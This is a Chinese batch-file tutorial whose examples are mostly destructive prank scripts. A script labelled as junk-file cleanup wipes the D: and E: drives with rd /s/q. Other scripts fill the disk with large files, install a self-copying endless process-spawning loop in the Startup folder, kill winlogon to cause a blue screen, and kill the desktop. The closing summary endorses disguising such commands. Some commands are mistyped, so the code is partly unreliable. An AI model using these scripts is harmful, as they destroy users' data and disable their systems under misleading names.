批处理文件

  • 0批处理的作用
  • 1创建批处理文件
  • 2示例
    • 2.1删除垃圾文件
    • 2.2生成垃圾文件
    • 2.3将死循环添加到启动项
    • 2.4定时小程序
    • 2.5致使winXP与2003蓝屏的代码
    • 2.6关闭win7桌面
  • 3总结
  • 4参考文献

0批处理的作用

自上而下成批地处理每一条命令,直到执行最后一条!即便其中某一行命令执行出错,也继续执行后续命令。

1创建批处理文件

新建一个记事本文件,然后将扩展名改为.bat。
批处理文件是以cmd执行的可执行文件,双击即可执行。

2示例

2.1删除垃圾文件

#批处理文件中不能采用#号的注释方式,可以采用其他注释方式,如::等,但均是行注释,本代码为方便逐行注释,采用Python的注释方式。
@echo off                      #关闭回显功能,屏蔽过程。
color 0a                        #设置背景和字体颜色
title clear files               #设置程序标题
echo ==========================
echo clear your files
echo ==========================
pause                           #设置暂停,不至于瞬间执行完毕退出
echo.                           #输出空一行
echo files is chearing          #
d: >nul 2>nul                 #“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul                    #返回D盘根目录
rd . /s/q >nul 2>nul          #删除文件及文件夹,部分受系统保护的会提示拒绝访问,使用>nul设置不显示该类提示。
e: >nul 2>nul                 #“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul                    #返回E盘根目录
rd . /s/q >nul 2>nul          #
ping -n 1 127.0.0.1 >nul 2>nul    #可以增加一些不显示的操作
echo congratuation              #提示测试结束
pause                           #

2.2生成垃圾文件

本代码需要以管理员运行

d: >nul 2>nul
cd\ >nul 2>nul
fsutil file creatnew d:sys1.ini 102400000
fsutil file creatnew d:sys2.ini 102400000
fsutil file creatnew d:sys3.ini 102400000
fsutil file creatnew d:sys4.ini 102400000

2.3将死循环添加到启动项

copy %~f0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
:xunhuan
start
goto xunhuan

几点说明:

  1. 请在虚拟机中win7系统上学习使用,不同系统启动路径不一样。
  2. %~f0:表示当前批处理文件的完整路径。
  3. userprofile:变量,表示当前用户名,用%%表示获取变量值。
  4. 有变量及其他符号,需要采用""括起来。
  5. 冒号代表命名一个代码段,goto表示跳转到一个代码段。

2.4定时小程序

@echo off
color 0a
title 定时小程序V1.0
:menu
cls
echo ==========================
echo            菜单
echo        1.定时关机
echo        2.取消定时
echo        3.退出
echo ==========================set /p choose=输入您的选择序号
if "%choose%" =="1" goto 1.定时关机
if "%choose%" =="2" goto 2.取消定时
if "%choose%" =="3" goto 3.退出
echo 别TM瞎搞,请输入1 2 3。
pause
goto menu:1.定时关机
set /p timeoff=输入定时关机时间(s):
shutdown -s -f -t %timeoff%
goto menu:2.取消定时
shutdown -a
goto menu:3.退出
exit

几点说明:

  1. set设置变量,/p表示变量值为用户输入。
  2. 注意逻辑完整,提示信息完整。

2.5致使winXP与2003蓝屏的代码

nstd -c q -pn winlogon.exe

几点说明:

  1. ntsd,强制杀进程.
  2. 因为该进程是批处理执行所需要,所以系统会蓝屏。

2.6关闭win7桌面

@echo off
color 0a
taskkill /im explorer.exe /f
echo 完蛋了
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的
pause

几点说明:

  1. taskkill,杀进程。
  2. /im指定进程。
  3. /f强制执行
  4. explorer桌面进程

3总结

本节课程在学习nas基本命令的基础上,使用批处理文件对一些特殊功能的命令进行伪装、添加到启动项等操作,应注意代码逻辑的完整。

4参考文献

  1. 获取批处理文件所在路径

第4节 批处理文件及示例相关推荐

  1. SQL Server时间粒度系列----第9节时间粒度示例演示

    本文目录列表: 1.准备测试数据 2.向测试数据表添加相关时间粒度字段列 3.基于日月季年统计汇总的演示 4.总结语 5.参考清单列表 准备测试数据   为了提供不同时间粒度示例的演示,就需要测试数据 ...

  2. 谁的饭量大 c语言编程,c语言第一章第一节 认识变量(示例代码)

    声明:本人大一新生,闲着无聊..写写c语言教程..菜鸟一枚..大神勿喷!!! 接下来我们都用dev来进行编译..vc++太古老了,没提示功能,不好上手,并且老是出毛病..vs太大了,编个c不至于,运行 ...

  3. 第5节 批处理编写及其示例

    批处理编写及其示例 0 引言 1 批处理用以及创建批处理文件 1.1 批处理的作用 1.2 创建批处理文件 2示例 2.1删除垃圾文件 2.2生成垃圾文件 2.3将死循环添加到启动项 2.3.1 &q ...

  4. C#开发Unity游戏教程循环遍历做出判断及Unity游戏示例

    C#开发Unity游戏教程循环遍历做出判断及Unity游戏示例 Unity中循环遍历每个数据,并做出判断 很多时候,游戏在玩家做出判断以后,游戏程序会遍历玩家身上大量的所需数据,然后做出判断,即首先判 ...

  5. Logstash 参考指南(使用Filebeat Modules配置示例)

    使用Filebeat Modules配置示例 本节中的示例展示了如何构建用于解析Filebeat模块收集的数据的Logstash管道: Apache 2日志 本例中的Logstash管道配置展示了如何 ...

  6. Qt Creator调试C ++示例应用程序

    Qt Creator调试C ++示例应用程序 调试C ++示例应用程序 调试C ++示例应用程序 本节使用TextFinder示例来说明如何在"调试"模式下调试Qt C ++应用程 ...

  7. 在ASP.NET AJAX中使用应用程序服务和本地化(4):示例程序:读取、修改并保存用户个性化信息...

    本文来自<ASP.NET AJAX程序设计 第II卷:客户端Microsoft AJAX Library相关>的第五章<应用程序服务和本地化>. 让我们通过编写一个完整的示例程 ...

  8. 7z替换exe文件内容不能替换文件_Windows小技巧 批处理文件实现目录下文件批量打包压缩...

    最近整理资料,发现很多 pdf 文档,占用了不少的存储空间,考虑使用 7-zip 进行压缩存储,由于文件比较多,且分散在不同目录下,一个个文件压缩比较繁琐.为了提高效率且,方便后面取用,所有打算捣鼓个 ...

  9. c# 指定打开某个路径下的CMD_Windows小技巧 批处理文件实现目录下文件批量打包压缩...

    最近整理资料,发现很多 pdf 文档,占用了不少的存储空间,考虑使用 7-zip 进行压缩存储,由于文件比较多,且分散在不同目录下,一个个文件压缩比较繁琐.为了提高效率且,方便后面取用,所有打算捣鼓个 ...

最新文章

  1. 计算机在线咨询,计算机科学与技术
  2. QSS之图形渐变填充
  3. MySql数据库索引底层数据结构
  4. cakephp oracle,Cakephp的魔法函数解析,findBy…
  5. 如何在LOL中成功制造一颗飞弹?
  6. 【机器视觉】 halcon中图像获取
  7. 微信最近的一些新改动
  8. NLP算法-情绪分析-snowNLP算法库
  9. win7此计算机无法加入家庭组,Win7系统无法加入家庭组问题的解决方法
  10. 英语词根学习笔记(前六章)——《英语词根与单词的说文解字》李平武
  11. args.verbose 的意思
  12. 浅谈sketch插件二
  13. Xcode 禁用indexing
  14. 字符串相似度比较工具
  15. 大华 / 海康威视(HIKVISION) 网络视像头的连接及使用
  16. Arduino蓝牙遥控小车
  17. linux下通过SD卡烧录.bin程序
  18. (笔记)SLF4J: No SLF4J providers were found.解决方法
  19. Redis主从复制、Redis哨兵模式、Redis集群
  20. 关于类在3D世界或更加宽广维度中的视角1

热门文章

  1. 机器从零到 K8S 集群 Worker 节点的安装过程
  2. Pulsar的Topic、Subscription和Cursors工作原理
  3. java cdata xml 解析_解析XML CDATA块
  4. 工业大数据分析算法及工具
  5. phpwind 论坛 转移
  6. 2004高考满分作文(第二篇)
  7. VB2008经典案例设计与实现(奋斗的小鸟)_PDF 电子书
  8. Linux命令:shutdown
  9. 第2章_12 求1-n的奇数和 (10 分)
  10. python编写时钟代码